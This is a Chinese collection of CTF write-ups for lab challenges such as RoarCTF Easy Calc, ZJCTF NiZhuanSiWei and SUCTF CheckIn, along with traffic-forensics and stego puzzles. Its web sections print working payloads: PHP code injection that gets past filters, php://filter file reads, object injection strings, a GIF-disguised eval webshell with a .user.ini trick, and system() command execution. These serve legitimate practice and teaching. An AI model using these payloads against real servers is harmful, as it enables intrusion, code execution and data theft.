[RoarCTF 2019]Easy Calc
1、打开得到输入界面常规三板斧:
(1)输入1:
(2)输入1’:
(3)输入1":
2、打开源码找到关键信息:
并结合上面所说的:
3、得到calc.php这个线索,顺藤摸瓜尝试打开calc.php得到:
4、分析php代码,知晓将许多代码字符都上了黑名单,并且只能上传num(数字),这里要用到scandir()函数列出参数目录 中的文件和目录,要不然我们怎么知道flag在哪。
5、由上面的源代码构建pyload:
/calc.php? num=2;var_dump(scandir(chr(47)))
其中var_dump()用来打印; scandir()用来获扫描目录下文件; chr(47)是“/”的ASCII编码。(通过ASCII编码绕过对于"/"符号的黑名单)
7、得到文件名发现类似flag的文件
8、尝试读取:calc.php? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
其中: file_get_contents() 函数是用于将文件的内容读入到一个字符串中的首选方法; chr(47)是/的ASCII编码; chr(102)是f的ASCII编码; chr(49)是1的ASCII编码; chr(97)是a的ASCII编码; chr(103)是g的ASCII编码。 均为通过ASCII编码绕过只能输入数字的过滤。
[ZJCTF 2019]NiZhuanSiWei
打开链接得到php代码,对其进行审计,找出三层需要突破的代码:
第一层:
要求我们传入一个text文件,且内容为welcome to the zjctf,才能继续后面的步骤,要求text不为空,这是肯定的,主要看下一句,file_get_contents($text,'r')==="welcome to the zjctf",从文件里读取字符串,还要和welcome to the zjctf相等。
这时候就用到了我们的data:// 写入协议了
PHP 中的 data(AI):
伪协议用于将数据直接嵌入到 PHP 脚本中,而不需要通过外部文件进行引用。data: 伪协议的语法是将数据部分直接跟在方案部分后面,用逗号进行分隔。
以下是 data: 伪协议的一个示例:
$data = 'Hello World!'; echo "Embedded data: " . dataUri($data); function dataUri($data) { return 'data:text/plain;base64,' . base64_encode($data); }
上述示例中的 $data
变量包含了要嵌入的数据,然后通过使用 dataUri()
函数生成了 data: URI,将其作为字符串输出。
在实际使用中,可以根据需要将不同类型的数据嵌入到 PHP 脚本中,例如文本、HTML、图片等。只需根据所需的 MIME 类型和数据编码,调整 dataUri()
函数中的 text/plain
部分以及使用的编码函数(如上述示例中的 base64_encode()
)。
由上协议所述我们先构造第一个payload:?text=data://text/plain,welcome to the zjctf
[plain解释] 在 data://text/plain
中,plain
表示 MIME 类型(媒体类型)的一部分,用于指定数据的类型。在这里,text/plain
表示纯文本的 MIME 类型。MIME (Multipurpose Internet Mail Extensions) 是一种用于标识互联网上不同类型数据的标准。它使用一种结构化的格式指定数据的类型,以便接收方能够正确地处理和解析数据。text/plain
是一种常见的 MIME 类型,表示纯文本数据。它表示数据是以纯文本的形式进行编码,没有特定的格式或标记,如 HTML、XML、JSON 等。纯文本的 MIME 类型通常用于传输普通文本消息、简单的配置文件、日志等。在使用 data: 伪协议时,通过指定正确的 MIME 类型,可以确保客户端或应用程序正确地解析和处理嵌入的数据。如果将 text/plain
替换为其他的 MIME 类型,就可以将其他类型的数据嵌入到代码中,比如 text/html
进行 HTML 数据的嵌入。需要注意的是,虽然 plain
指定了数据的类型,但它并不表示数据的编码格式。数据的编码应在 URI 的后续部分指定,如在 base64
编码时所使用的 base64_encode()
函数
第二层:
接着来绕过第二层:
可以看见这是一个典型的PHP正则表达式,过滤掉了flag,而题目又提示了useless.php文件包含:
[正则表达式] 在 PHP 中,可以使用正则表达式进行模式匹配和搜索操作。PHP 提供了多个函数用于处理正则表达式,最常用的是 preg_match()
、preg_match_all()
、preg_replace()
函数。
下面是这些函数的简要说明:
preg_match($pattern, $string, $matches)
:对给定的字符串进行模式匹配,如果成功匹配到模式,返回 1,否则返回 0。匹配到的结果可以保存在$matches
数组中。 [^]:preg_match_all($pattern, $string, $matches)
:对给定的字符串进行模式全局匹配,它会搜索字符串中所有匹配的结果,并将它们保存在$matches
数组中。 [^]:preg_replace($pattern, $replacement, $string)
:在给定的字符串中查找匹配的模式,并用$replacement
替换掉匹配的部分。
在这我们需要用php://filter协议先读取里面的源码,然后将password反序列化出来。
我们构造第二个payload:file=php://filter/read=convert.base64-encode/resource=useless.php
php://filter/read=convert.base64-encode/resource=useless.php
是一种特殊的 PHP 过滤器用法。它利用了 PHP 中的过滤器来读取并将指定文件内容以 Base64 编码的形式返回。具体来说,php://filter
是 PHP 中的一个流过滤器(stream filter)用来对流进行过滤操作。通过在路径中指定read=convert.base64-encode
,可以使用convert.base64-encode
过滤器对指定资源进行 Base64 编码。在文件路径中resource=useless.php指定了要读取的资源,即
useless.php` 文件。
第三层:
这时候你会得到一串base64的编码,然后我们解码就得到了源码:
这里直接将这个源码中的$file赋值flag.php,反序列化一下
在在线php或自己电脑上搭的php环境上运行一下,就得到了php序列化后的结果:O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
这样我们重新构造最终的payload:?text=data://text/plain,welcome%20to%20the%20zjctf&file=useless.php&password=O:4:%22Flag%22:1:{s:4:%22file%22;s:8:%22flag.php%22;}
[这里将file后面的读取加密去掉是因为没有必要去再次对其进行base64加密读取源码,而最后的序列化输入则是依题所言将$file中的password序列化后输入其中才能得到flag值的回显。]
然后运行进入了这个页面:
查看源码既可以得到里面的flag
不可打印字符(telnet协议)
telnet协议提供了一种通过终端远程登远程登录到服务器的方式,呈现一个交互式操作界面,用户可以先登录到一台主机,然后再通过telnet的方式远程登录到网络上的其他主机上,而不需要为每一台主机都连接一个硬件终端,然后对设备进行配置和管理 简单来说就是远程传输协议,明文传输的那种,建议拿到一个流量包在进行一些有必要或没必要的操作之前还是先浏览一下整个流量包包含哪些协议,像这种telnet协议就还是比较重要的,虽然不一定藏东西了。
以题目为例,拿到包,先搜明文,然后整体看一下,发现有telnet协议,也有不少http,总之先去统计看看http的请求。
没有太多,先过滤翻翻找找,并没有发现什么,那个php里面是一堆源码,试着解读了一下,确实没有啥东西,然后转向开始整体浏览发现的telnet协议,先过滤下来,追踪tcp流查看:
看到了flag提示直接看接受包,没有什么东西直接转向发送包
标红的这段长的很像flag,但中间有点应该要将点转换一下,猜测为一种类型的加密,查看三个点的hex 值发现都为08,转为10进制就是8,对标ASCII表
对应的ASCII就是\b,即退格,意思是这里有三次退格
最后经过退格后那一串就变成了 28d982kwalx8e,即flag
键盘流量
打开流量包:看到的确是usb流量,并且没有杂包(如果有不是usb的包需提前滤除掉)
把这个包放进linux中提取数据:
tshark -r example.pcap -T fields -e usb.capdata > usbdata.txt 然后就得到了 usbdata.txt文件:
看到每行为8个字节,确定是 键盘流量数据,
import os
os.system("tshark -r test.pcapng -T fields -e usb.capdata > usbdata.txt") normalKeys = {"04": "a", "05": "b", "06": "c", "07": "d", "08": "e", "09": "f", "0a": "g", "0b": "h", "0c": "i", "0d": "j", "0e": "k", "0f": "l", "10": "m", "11": "n", "12": "o", "13": "p", "14": "q", "15": "r", "16": "s", "17": "t", "18": "u", "19": "v", "1a": "w", "1b": "x", "1c": "y", "1d": "z", "1e": "1", "1f": "2", "20": "3", "21": "4", "22": "5", "23": "6", "24": "7", "25": "8", "26": "9", "27": "0", "28": "<RET>", "29": "<ESC>", "2a": "<DEL>", "2b": "\t", "2c": "<SPACE>", "2d": "-", "2e": "=", "2f": "[", "30": "]", "31": "\", "32": "<NON>", "33": ";", "34": "'", "35": "<GA>", "36": ",", "37": ".", "38": "/", "39": "<CAP>", "3a": "<F1>", "3b": "<F2>", "3c": "<F3>", "3d": "<F4>", "3e": "<F5>", "3f": "<F6>", "40": "<F7>", "41": "<F8>", "42": "<F9>", "43": "<F10>", "44": "<F11>", "45": "<F12>"}
shiftKeys = {"04": "A", "05": "B", "06": "C", "07": "D", "08": "E", "09": "F", "0a": "G", "0b": "H", "0c": "I", "0d": "J", "0e": "K", "0f": "L", "10": "M", "11": "N", "12": "O", "13": "P", "14": "Q", "15": "R", "16": "S", "17": "T", "18": "U", "19": "V", "1a": "W", "1b": "X", "1c": "Y", "1d": "Z", "1e": "!", "1f": "@", "20": "#", "21": "$", "22": "%", "23": "^", "24": "&", "25": "*", "26": "(", "27": ")", "28": "<RET>", "29": "<ESC>", "2a": "<DEL>", "2b": "\t", "2c": "<SPACE>", "2d": "_", "2e": "+", "2f": "{", "30": "}", "31": "|", "32": "<NON>", "33": """, "34": ":", "35": "<GA>", "36": "<", "37": ">", "38": "?", "39": "<CAP>", "3a": "<F1>", "3b": "<F2>", "3c": "<F3>", "3d": "<F4>", "3e": "<F5>", "3f": "<F6>", "40": "<F7>", "41": "<F8>", "42": "<F9>", "43": "<F10>", "44": "<F11>", "45": "<F12>"}
nums = [] keys = open('usbdata.txt') for line in keys: # print(line) if len(line) != 17: # 首先过滤掉鼠标等其他设备的USB流量 continue nums.append(line[0:2] + line[4:6]) # 取一、三字节 # print(nums) keys.close() output = "" for n in nums: if n[2:4] == "00": continue
if n[2:4] in normalKeys: if n[0:2] == "02": # 表示按下了shift output += shiftKeys[n[2:4]] else: output += normalKeys[n[2:4]] else: output += '[unknown]'
print('output :' + output)
然后用上面的在网上找到的脚本修改进行处理得到flag.
ssl流量
下载得到一个ssl_log.log文件,流量包打开一堆TLS,一眼鉴定为SSL流量包,直接加载私钥
然后就出现了额外的http流量 再统计http请求界面发现了有个文档
直接过滤跟进,找到flag
发序列化
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=
打开后得到代码如上,我们对其进行分析发现其类里面只有$flag一个参数而他只存在wakeup()的方法
wakeup():反序列化之前检查执行的函数,不论如何都会优先执行wakeup()方法
绕过方法:在传入的序列化字符串在反序列化对象时与真实存在的参数个数不同时会跳过执行wakeup()函数,即当前函数中只有一个参数$flag,若传入的序列化字符串中的参数个数为2即可绕过。
在url栏上输入如下构造的pyload并将1改为2即得到flag:
这里输入了之后发现没有反应仔细查看发现结尾的中括号中少了一个分号 ; 故构造错误解
改后得到flag:
后门查杀
打开后没有任何发现
结合题目猜测可能与病毒有关有可能flag藏在病毒所在处,用杀毒软件发现有 后门程序报警,在include文件夹下的include.php
打开发现flag
webshell后门
下载后发现和上题一样,于是使用软件查杀,发现在member文件夹的zp.php中打开得到flag
荷兰宽带数据泄露
打开发现是一个格式为
.bin
的东西,与题目名联系起来尝试使用RouterPassView打开
知识点:路由器的备份文件通常包含了像ISP的用户名重要数据/密码、路由器的登录密码,是无线网络的关键。如果不小心失去了这些密码/钥匙,也可以通过路由器配置的备份文件找回。RouterPassView就是一个找回路由器密码的工具,可以帮助你从路由器中恢复丢失的密码。
结合知识点尝试将搜索出的username和password分别带入flag中尝试发现flag是username
[SUCTF 2019]CheckIn1
先传一个图片的一句话木马上去
显示不能出现<?的符号换一种一句话马来传
<script language="php">eval($_REQUEST['cmd']);</script>
回显如上,如图所示这里使用了exif_imagetype()函数,也就是照片识别函数会将所有照片的类型识别出来
因为后台用exif_imagetype函数检测文件类型,所以我们在文件前加上图片的特征,来绕过检测。故在我们的一句话马前加上GIF89a来绕过这个函数。
上传成功,这里要用.use.ini将jpg格式文件当成php执行,依次将两个文件上传上去,然后访问index.php,我们就成功执行了木马。
php.ini:
是php默认的配置文件,其中包括了很多php的配置,这些配置中,又分为几种:
PHP_INI_SYSTEM、PHP_INI_PERDIR、PHP_INI_ALL、PHP_INI_USER
而.user.ini可以看成用户自己定义的php.ini,并且在php配置项中有两个项:
1、auto_prepend_file{在文件前插入}
2、auto_append_file{在文件后插入}
php.ini 配置文件相关参考:
假如给我三天光明
打开得到以上图片,且有个加密后的压缩包,在网上查找盲文翻译图对着上图翻译
得到结果:kmdonowg
把得到的口令输入解压密码,解压得到wav
音频文件
看波形图盲猜为摩尔电码。
-.-. - ..-. .-- .--. . .. ----- ---.. --... ...-- ..--- ..--.. ..--- ...-- -.. --..
解码得到flag,这里要将flag转为小写
FLAG
打开得到:
先来三板斧,binwalk,stegsolve,winhex来一遍
发现了stegsolve 中的LSB隐写有问题,出现了PK文件头的字样
直接保存为zip格式然后解压,得到一个名为1的文件,用IDA打开得到FLAG
神秘龙卷风
下载得到包中包,打开显示需要密码
直接暴力破解(ARCHPR进行爆破)得到密码:5463
解压得到
网上搜索得到这是 brainfuck
代码,使用在线执行网站(Brainfuck - interpreter online)运行即可得到flag
我的眼里只有$
题目来源:ctfshow菜狗杯
打开后有一段php代码分析发现只有:
error_reporting(0);
extract($_POST);
eval($$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$_);
这三句有用意思是以POST形式 传入36个$的值(这里是变量覆盖,我们只需要一个$起作用而他有36个我们可以采用编程中的赋值进行编写程序使得第三十六个的值赋给第一个使得有且仅有一个变量被执行) 代码如下:
import string
a='_=a&'
s=string.ascii_letters
code="system('ls /');"
for i in range(35):
a+=s[i]+"="+s[i+1]+"&"
a+=s[i]+"="+code
print(a)
执行得到:
_=a&a=b&b=c&c=d&d=e&e=f&f=g&g=h&h=i&i=j&j=k&k=l&l=m&m=n&n=o&o=p&p=q&q=r&r=s&s=t&t=u&u=v&v=w&w=x&x=y&y=z&z=A&A=B&B=C&C=D&D=E&E=F&F=G&G=H&H=I&I=J&I=system('ls /');
这里是应为其没有任何的过滤故直接在所构造的pyload攻击核后面加上 system('ls /');进行命令执行查看文件目录
将脚本写出的代码带入hackbar中进行post传参:
得到文件目录:
再将pyload攻击载核最后改为system('cat /f1agaaa');尝试有无flag发现果然有: